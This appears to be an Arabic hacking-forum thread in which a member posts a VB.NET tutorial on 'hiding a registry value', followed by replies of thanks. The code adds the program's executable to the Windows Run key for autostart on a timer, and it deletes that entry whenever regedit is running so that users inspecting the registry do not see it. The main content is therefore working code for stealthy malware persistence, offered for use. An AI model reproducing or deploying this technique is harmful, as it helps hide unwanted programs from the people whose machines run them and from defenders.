حالة الموضوع:
مغلق
  1. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط

    السلام عليكم ورحمه الله وبركاته
    كيف الحال اعضاء وزوار ومشرفين عرق تيم
    عسا ان كونوا بافضل حال
    لا احب المقدمات ندخل في المهم

    درس اليوم اخفاء قيمه الرجستر
    اتركم مع الاكواد


    كود:
    Public Enum HKEY
            ClassesRoot
            CurrentUser
            LocalMachine
            Users
            CurrentConfig
        End Enum
    
        Public Shared Sub HideValueFromRegistry(ByVal HKEY As HKEY, ByVal SubKey As String, ByVal Name As String, ByVal KeyValue As String)
            Dim List As New List(Of String)
            For Each Proc As Process In Process.GetProcesses
                List.Add(Proc.ProcessName)
            Next
            If List.Contains("regedit") Then
                Select Case HKEY
                    Case HKEY.ClassesRoot
                        Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.CurrentUser
                        Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.LocalMachine
                        Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.Users
                        Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.Users.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                    Case HKEY.CurrentConfig
                        Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
                        If Key.GetValue(Name) IsNot Nothing Then
                            My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).DeleteValue(Name)
                        End If
                End Select
            Else
                Select Case HKEY
                    Case HKEY.ClassesRoot
                        Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.CurrentUser
                        Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.CurrentUser.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.LocalMachine
                        Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.LocalMachine.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.Users
                        Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.Users.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                        End If
                    Case HKEY.CurrentConfig
                        Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
                        If Key.GetValue(Name) Is Nothing Then
                            My.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
                     End If
                End Select
            End If
        End Sub
    
    الاستخدام
    كود:
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    HideValueFromRegistry(HKEY.CurrentUser, "Software\Microsoft\Windows\CurrentVersion\Run", Me.Text, Application.ExecutablePath)
    End Sub 
    الي هنا انتهى الدرس ارجو ان يكون نال اعجابكم

    اهداء
    الئ
    امير ايكل
    المعاقب الصدري
    علي الصقور
    مخلد هكسور
    محمد العراقي

    ار[FONT]
     
  2. حازم مشكله

    حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    380
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    18
    الجنس:
    ذكر
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    حلؤؤ عاشت ايدك
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  3. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    حبيب قلبي حازم منو الموضوع
     
  4. وائل الاسدي

    وائل الاسدي Developer

    الأنتساب:
    ‏23 فبراير 2015
    المشاركات:
    45
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    8
    الجنس:
    ذكر
    الوظيفة:
    موظف في وزارة الداخلية
    الإقامة:
    IRAQ
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    عاشت ايدك استمر:!."​
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  5. حازم مشكله

    حازم مشكله V • I • P

    الأنتساب:
    ‏26 مارس 2015
    المشاركات:
    380
    الإعجابات المتلقاة:
    15
    نقاط الجائزة:
    18
    الجنس:
    ذكر
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    نورك حبي
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  6. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    وايدك خويه
     
  7. عہلي الصہقہور هنہا

    عہلي الصہقہور هنہا <span style="font-weight: bold; text-shadow: #BBBB V • I • P

    الأنتساب:
    ‏29 نوفمبر 2014
    المشاركات:
    283
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    18
    الإقامة:
    ألعراق ألعظيم
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    وعليكم السلام ورحمة الله وبركاتة حبيبي بكر
    عاشت ايدك مبدع وربي استمر ولاتحرمنا من ابداعك


    وشكرا على الاهداء حياتي بكر
     
  8. rebih

    rebih Developer

    الأنتساب:
    ‏11 مايو 2014
    المشاركات:
    86
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    مشكوور واصل بدون فواصل
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
  9. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    633
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    منور الموضوع. كبدي
     
  10. سكيورتي ارهابي

    سكيورتي ارهابي ExpErt DeveloPer

    الأنتساب:
    ‏1 سبتمبر 2014
    المشاركات:
    691
    الإعجابات المتلقاة:
    43
    نقاط الجائزة:
    28
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    رد: الصاروخ الثاني يهبط على ارض الابداع اخفاء قيمه الرجستري

    وعليكم السلام مبدع حبيبي :ُeُe0y:
     
    أعجب بهذه المشاركة !»°بہًكہًر الہًعہًراقہًي°«!
حالة الموضوع:
مغلق

مشاركة هذه الصفحة